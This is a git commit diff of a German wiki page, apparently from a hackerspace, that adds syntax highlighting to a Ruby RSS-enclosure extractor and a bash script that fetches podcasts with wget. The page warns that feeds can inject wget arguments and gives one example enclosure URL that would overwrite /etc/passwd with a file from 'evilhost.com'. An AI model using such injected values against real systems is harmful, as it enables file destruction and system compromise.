Syntax highlightning
This commit is contained in:
parent
4139bc109a
commit
77078eb7df
|
@ -1,6 +1,6 @@
|
||||||
Damit im [[Office2]] keine Bandbreite verschenkt wird, während niemand da ist, soll [[Office2/Netz#aromaster|Aromaster]] ein paar Podcasts runterladen. Das wird natürlich manuell ausgeführt.
|
Damit im [[Office2]] keine Bandbreite verschenkt wird, während niemand da ist, soll [[Office2/Netz#aromaster|Aromaster]] ein paar Podcasts runterladen. Das wird natürlich manuell ausgeführt.
|
||||||
==podcast-enclosures.rb==
|
==podcast-enclosures.rb==
|
||||||
<pre><nowiki>#!/usr/bin/env ruby
|
<source lang="ruby">#!/usr/bin/env ruby
|
||||||
require 'rexml/document'
|
require 'rexml/document'
|
||||||
if ARGV.size != 1
|
if ARGV.size != 1
|
||||||
puts "Usage: #{$0} <podcast.rss>"
|
puts "Usage: #{$0} <podcast.rss>"
|
||||||
|
@ -9,20 +9,21 @@ end
|
||||||
file = File.new(ARGV[0])
|
file = File.new(ARGV[0])
|
||||||
REXML::Document.new(file).root.each_element("//enclosure") { |e|
|
REXML::Document.new(file).root.each_element("//enclosure") { |e|
|
||||||
puts e.attributes['url']
|
puts e.attributes['url']
|
||||||
}</nowiki></pre>
|
}</source>
|
||||||
==fetch_radiochaotica.sh==
|
==fetch_radiochaotica.sh==
|
||||||
<pre><nowiki>#!/usr/bin/env bash
|
<source lang="bash">#!/usr/bin/env bash
|
||||||
WGETFLAGS='-c'
|
WGETFLAGS='-c'
|
||||||
cd /home/astro/public_html/radiochaotica/
|
cd /home/astro/public_html/radiochaotica/
|
||||||
wget -O radiochaotica.rss http://blogs.bl0rg.net/radio_chaotica/index.xml
|
wget -O radiochaotica.rss http://blogs.bl0rg.net/radio_chaotica/index.xml
|
||||||
for url in $(ruby ~/podcast-enclosures.rb radiochaotica.rss); do
|
for url in $(ruby ~/podcast-enclosures.rb radiochaotica.rss); do
|
||||||
wget $WGETFLAGS $url
|
wget $WGETFLAGS $url
|
||||||
done
|
done
|
||||||
rm radiochaotica.rss</nowiki></pre>
|
rm radiochaotica.rss</source>
|
||||||
|
|
||||||
Vor Aktion sollte man den Feed vielleicht noch manuell betrachten, sonst kann man dem wget-Aufruf Parameter untermogeln. Z.B.:
|
Vor Aktion sollte man den Feed vielleicht noch manuell betrachten, sonst kann man dem wget-Aufruf Parameter untermogeln. Z.B.:
|
||||||
<nowiki><enclosure url="-O /etc/passwd http://evilhost.com/megaevil-password-file" /></nowiki>
|
<source lang="xml"><enclosure url="-O /etc/passwd http://evilhost.com/megaevil-password-file" /></source>
|
||||||
|
|
||||||
|
|
||||||
[[Kategorie:Ruby]]
|
[[Kategorie:Ruby]]
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
{{Rübÿ Spëëd Mëtäl Cödïng}}
|
{{Rübÿ Spëëd Mëtäl Cödïng}}
|
||||||
|
|
Loading…
Reference in New Issue